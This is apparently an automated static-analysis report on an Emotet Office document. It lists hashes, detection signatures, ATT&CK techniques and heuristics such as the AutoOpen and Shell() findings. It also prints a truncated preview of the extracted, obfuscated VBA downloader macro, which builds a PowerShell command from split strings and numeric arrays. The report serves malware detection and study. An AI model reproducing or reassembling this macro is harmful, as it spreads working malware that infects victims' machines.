Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 412e5c8db88dab08…

MALICIOUS

Office (OLE)

210.0 KB Created: 2018-06-26 06:58:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 955b0d005ef7688c021ae6c714cc437a SHA-1: 9bceb5395e3eac1826d3bcb897751779b2ecae1a SHA-256: 412e5c8db88dab089a382c65355113c6da5b0b73aaba6ed6d29f766b2760da94
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6878774-0'. Static analysis revealed the presence of a VBA macro with an AutoOpen function, which is a common execution vector for Emotet. The macro contains a critical 'Shell()' call, indicating an attempt to execute arbitrary commands, likely for downloading and running a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6878774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878774-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10093 bytes
SHA-256: fae81a48b4d2c8b7616a577477752b5695f8b7861a72eff883d209e1c9786cc7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NTfdrzQCL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SHGTPbaF"
Function ijzYdVYh()
On Error Resume Next
INLHKj = 44064
cjdfwr = Sin(37684)
pisDpc = TVEpFK
afOaqL = 88313
IjmQC = 60730
ozRfj = CDate(7923)
vkazUoFmp = "He" + "ll  . " + Chr(40) + Chr(40) + "GV '" + "*MDr*'" + Chr(41) + ".NAme" + "[3," + "11,2" + "]-joiN'" + "'" + Chr(41) + Chr(40) + " " + Chr(34) + " $" + Chr(40) + " set-VaR"
SYDtQY = CDate(48520)
VLaMwo = 76864
mlQmW = 3418
JsBqz = 10783
jBNZo = IQYaup
BAPIcN = Sin(99600)
wdzmlY = "iabl" + "e  " + "'o" + "FS" + "' '' " + Chr(41) + Chr(34) + Chr(43) + "[sTri" + "nG]" + Chr(40) + " " + Chr(40) + "1 "
ZSGpM = CDate(47929)
MfVjIo = 86427
krLhaK = 8077
XwjAQw = 72615
hNsaJL = rUMOYK
VrvYa = Sin(28198)
vFmEzFswEZj = ", " + "81,124 " + ", 1" + "12" + ",24 , 7" + "5 ," + " 64, " + "82 , 8" + " , "
TSTFMi = Sin(79118)
JAjwi = 61330
RCwjWT = 79759
aoYaiJ = CDate(21648)
qXcmLw = 20440
rCQzm = uqIukF
sNJDPTKmTL = "74, 7" + "1 ," + "79,64, " + "70 , 8" + "1, 5 " + ", 10" + "7 ," + " 64 , 8"
uFDLY = Sin(58924)
HcNlX = 89640
ZjNHr = 88620
kwEpOJ = CDate(46563)
QzkLiw = 21816
jVPZzR = PWEHp
XlvSRkmzinv = "1,11, 1" + "14 , " + "64" + " ,71" + ",102 ," + " 7" + "3 , " + "76, 64 ," + " 75 ,81" + " ,30,1, "
nIGSCD = Sin(1496)
WbUin = 14641
GtiBwX = 26272
pOfzum = CDate(63059)
AvQwi = 28480
CDajQH = BSIXrV
nlpsuv = "67" + ", 78 " + ", 106" + ",24 , 2" + " ,77," + " 8" + "1 ,81, " + "85, 31, " + "10 ,"
lsGjYw = Sin(48470)
SClVfD = 69651
wPtTMr = 66920
HqsHwv = CDate(52860)
ZTNzL = 51159
sDvKs = RkXPiz
cVJnkJmb = "10 ,64 ," + "87 ,65," + " 64 ,7" + "2, 73," + "64,87,92" + ", 68 " + ", " + "85 ," + "76 " + ", 72," + " 68"
fQpNN = Sin(43083)
IjatiY = 41718
SSnDo = 28746
GYlvof = CDate(86391)
vbUAV = 10493
dALdK = zBzVwf
VNJHO = " , 87 ," + "78,64, " + "81, 11," + " 70" + " , 74 ,7" + "2, " + "10," + "83"
LGstw = Sin(50264)
IbwvVM = 10209
DiEjZQ = 53207
wztJk = CDate(91439)
kJHlJ = 44596
tNTMB = NHpvQ
OaNfjGWBdT = " ,84" + ",67, 12" + "5 ,10 ," + " 1" + "01 ,77, " + "81,8" + "1 , 8" + "5 ," + "31 ,10," + "10, 77,"
EznKpU = Sin(20851)
dGtPa = 13017
MIrzm = 87465
vFvaYm = CDate(14798)
BBwBR = 85032
ULmwXB = ohtwa
SMTzHz = " 71 ,72" + " , 74 " + ", 75 ,8" + "1, 64" + ", 11,70 " + ",74," + " 7" + "2," + " 10 , 11" + "1 " + ", 67, 97"
pqlcw = Sin(67009)
ANKvJ = 55447
FrGrU = 75465
nwNHoY = CDate(60072)
rtiGF = 80162
rzijm = TnLiJ
LaCcracidM = ", 95, " + "10 ,83," + "99 " + ", 78 " + ",16, " + "80"
ijzYdVYh = vkazUoFmp + wdzmlY + vFmEzFswEZj + sNJDPTKmTL + XlvSRkmzinv + nlpsuv + cVJnkJmb + VNJHO + OaNfjGWBdT + SMTzHz + LaCcracidM
YWuFTp = Sin(32623)
SjwOTQ = 47640
zVzRR = 59783
iXtjE = CDate(39273)
cBija = 83888
GFFzX = kGOtj
End Function
Function wrwOpdhNI()
On Error Resume Next
GWZWi = Sin(15111)
HsurI = 98450
Kmrnj = 71877
iRsdp = CDate(53174)
NLIZrF = 7516
BQnbL = zHnoUt
uDApJGkMzV = " , " + "16 ,10" + " ,1" + "01,77 ," + " 81" + " ,81 , 8" + "5, 31 ,"
bbJnRW = Sin(3875)
jEPLa = 96490
qhOQcz = 52155
SjNfB = CDate(41148)
ROzOm = 83998
kUzDvu = dwobqj
DOwZupdA = "10, 10" + " ,80 ," + "78" + ",68,11" + ", 72,64" + " ,1" + "0 ,10"
QjdIr = Sin(18253)
BzsVS = 81108
ffYLfV = 58076
VjCcOo = CDate(60099)
NSDRf = 29202
woGPt = lnTvOv
EIiPoi = "6,7" + "6,28" + " , 81," + " 116," + "21 , 71" + " ,10," + " 101"
uYVni = Sin(40033)
SQGAq = 67215
WOCAAz = 28195
mFqWM = CDate(11083)
jRGDL = 66100
bqDBmR = ukXIX
OhoamYXbUzV = ", 77 , 8" + "1 ,8" + "1," + " 85,31, " + "10, " + "10" + ", 8" + "2,74 ,6" + "4 ,73 ,6" + "7,11 ,"
zujrhF = Sin(70434)
REGQIh = 1731
iBMoVr = 69760
jfsvw = CDate(97075)
zLCVt = 3339
CoHlZ = oDBmD
aSRjOT = " 76 , " + "75, " + "10 " + ", 1" + "18 ,7" + "7,64 ," + " 84, 81 " + ", 108" + ",93 , 1" + "19"
zXFLuz = Sin(82068)
pjJwm = 12073
pWpBG = 58039
JMkajb = 
... (truncated)

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